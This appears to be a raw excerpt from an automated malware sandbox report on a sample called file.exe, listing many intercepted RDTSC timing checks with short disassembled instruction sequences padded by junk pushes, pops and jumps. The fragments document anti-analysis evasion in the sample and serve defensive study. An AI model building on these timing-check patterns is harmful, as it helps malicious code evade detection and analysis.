Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11399D3 second address: 11399D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1138F3B second address: 1138F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007EFDB8CDCB06h 0x0000000a popad 0x0000000b pushad 0x0000000c js 00007EFDB8CDCB06h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1139D22 second address: 1139D2E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFDB8F26A16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A2DA second address: 113A302 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFDB8CDCB06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007EFDB8CDCB1Eh 0x00000010 jmp 00007EFDB8CDCB18h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BBCE second address: 113BBD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BBD2 second address: 113BBEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFDB8CDCB14h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E774 second address: 113E778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E778 second address: 113E79A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007EFDB8CDCB13h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E79A second address: 113E79E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E79E second address: 113E7A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B090A second address: 10B090E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11406A4 second address: 11406BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB14h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11406BC second address: 11406DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A24h 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11406DD second address: 11406E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11406E1 second address: 11406FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007EFDB8F26A20h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114083A second address: 1140850 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFDB8CDCB11h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1146EA1 second address: 1146EA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1146EA7 second address: 1146EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1146EB4 second address: 1146ECA instructions: 0x00000000 rdtsc 0x00000002 jg 00007EFDB8F26A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b jl 00007EFDB8F26A42h 0x00000011 push edi 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1146ECA second address: 1146EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 js 00007EFDB8CDCB22h 0x0000000b jmp 00007EFDB8CDCB16h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114700B second address: 1147029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007EFDB8F26A16h 0x0000000a pop ebx 0x0000000b jmp 00007EFDB8F26A23h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1147029 second address: 1147071 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jnl 00007EFDB8CDCB06h 0x0000000d popad 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007EFDB8CDCB18h 0x00000016 pop ebx 0x00000017 pop edx 0x00000018 pop eax 0x00000019 jp 00007EFDB8CDCB2Ah 0x0000001f jp 00007EFDB8CDCB1Ah 0x00000025 jmp 00007EFDB8CDCB0Eh 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11471CD second address: 11471E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007EFDB8F26A1Ch 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C9DB second address: 114C9E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114CDFE second address: 114CE17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007EFDB8F26A22h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114DA79 second address: 114DA85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007EFDB8CDCB06h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151B24 second address: 1151B2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151B2D second address: 1151B33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151B33 second address: 1151B62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007EFDB8F26A26h 0x0000000a popad 0x0000000b pushad 0x0000000c jbe 00007EFDB8F26A18h 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 je 00007EFDB8F26A16h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115110E second address: 1151114 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115129E second address: 11512C1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFDB8F26A27h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11512C1 second address: 11512C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11512C5 second address: 11512D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11512D1 second address: 11512D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11512D5 second address: 11512D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11512D9 second address: 11512FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jc 00007EFDB8CDCB40h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007EFDB8CDCB16h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115147E second address: 1151487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159888 second address: 115988E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115988E second address: 1159898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11579B2 second address: 11579CB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007EFDB8CDCB0Ch 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157CCF second address: 1157CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157CD4 second address: 1157CF4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007EFDB8CDCB18h 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157CF4 second address: 1157CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157FDF second address: 1157FEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007EFDB8CDCB06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1157FEA second address: 1158009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFDB8F26A29h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158009 second address: 1158021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jne 00007EFDB8CDCB0Ch 0x0000000e jne 00007EFDB8CDCB06h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158021 second address: 1158027 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11582BE second address: 11582C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158533 second address: 115853A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115853A second address: 115853F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1158B09 second address: 1158B15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007EFDB8F26A16h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115902C second address: 1159042 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007EFDB8CDCB10h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159042 second address: 1159048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159048 second address: 1159063 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB17h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115AF1C second address: 115AF22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115AF22 second address: 115AF41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11636C6 second address: 1163715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007EFDB8F26A18h 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 popad 0x00000012 pushad 0x00000013 push esi 0x00000014 js 00007EFDB8F26A16h 0x0000001a push esi 0x0000001b pop esi 0x0000001c pop esi 0x0000001d pushad 0x0000001e jmp 00007EFDB8F26A28h 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 jmp 00007EFDB8F26A23h 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1163715 second address: 116371B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11629E3 second address: 11629E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11629E7 second address: 11629ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11629ED second address: 11629F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162B57 second address: 1162B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162D1D second address: 1162D38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFDB8F26A27h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1163071 second address: 1163083 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007EFDB8CDCB0Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11632E8 second address: 11632ED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116CBD5 second address: 116CBEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push esi 0x00000006 pop esi 0x00000007 jmp 00007EFDB8CDCB0Eh 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B1B9 second address: 116B1D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007EFDB8F26A1Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jg 00007EFDB8F26A16h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B4AC second address: 116B4B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B4B0 second address: 116B4B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B5E0 second address: 116B5F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007EFDB8CDCB06h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B5F6 second address: 116B5FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B5FA second address: 116B606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007EFDB8CDCB06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B606 second address: 116B610 instructions: 0x00000000 rdtsc 0x00000002 jc 00007EFDB8F26A1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B744 second address: 116B77C instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFDB8CDCB12h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007EFDB8CDCB12h 0x00000011 jne 00007EFDB8CDCB0Eh 0x00000017 pushad 0x00000018 popad 0x00000019 ja 00007EFDB8CDCB06h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BB5E second address: 116BB7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007EFDB8F26A1Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BB7D second address: 116BB83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BB83 second address: 116BB87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116CA73 second address: 116CA77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116CA77 second address: 116CA91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A26h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116CA91 second address: 116CA9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A884 second address: 116A88A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A88A second address: 116A88F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A88F second address: 116A8A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8F26A24h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F3DC second address: 117F40C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB12h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007EFDB8CDCB18h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F56F second address: 117F577 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185A30 second address: 1185A35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185A35 second address: 1185A41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007EFDB8F26A16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185A41 second address: 1185A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185A45 second address: 1185A49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3F3F second address: 10B3F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3F45 second address: 10B3F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3F4E second address: 10B3F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B3F52 second address: 10B3F7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007EFDB8F26A26h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnc 00007EFDB8F26A16h 0x00000012 pushad 0x00000013 popad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E94A second address: 118E950 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119C72E second address: 119C738 instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFDB8F26A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119AF4D second address: 119AF72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFDB8CDCB13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b js 00007EFDB8CDCB06h 0x00000011 pop edx 0x00000012 pushad 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119AF72 second address: 119AF81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jl 00007EFDB8F26A16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B3CD second address: 119B3D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119B67F second address: 119B69D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFDB8F26A20h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b jg 00007EFDB8F26A1Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0063 second address: 11A007E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007EFDB8CDCB13h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A007E second address: 11A0082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
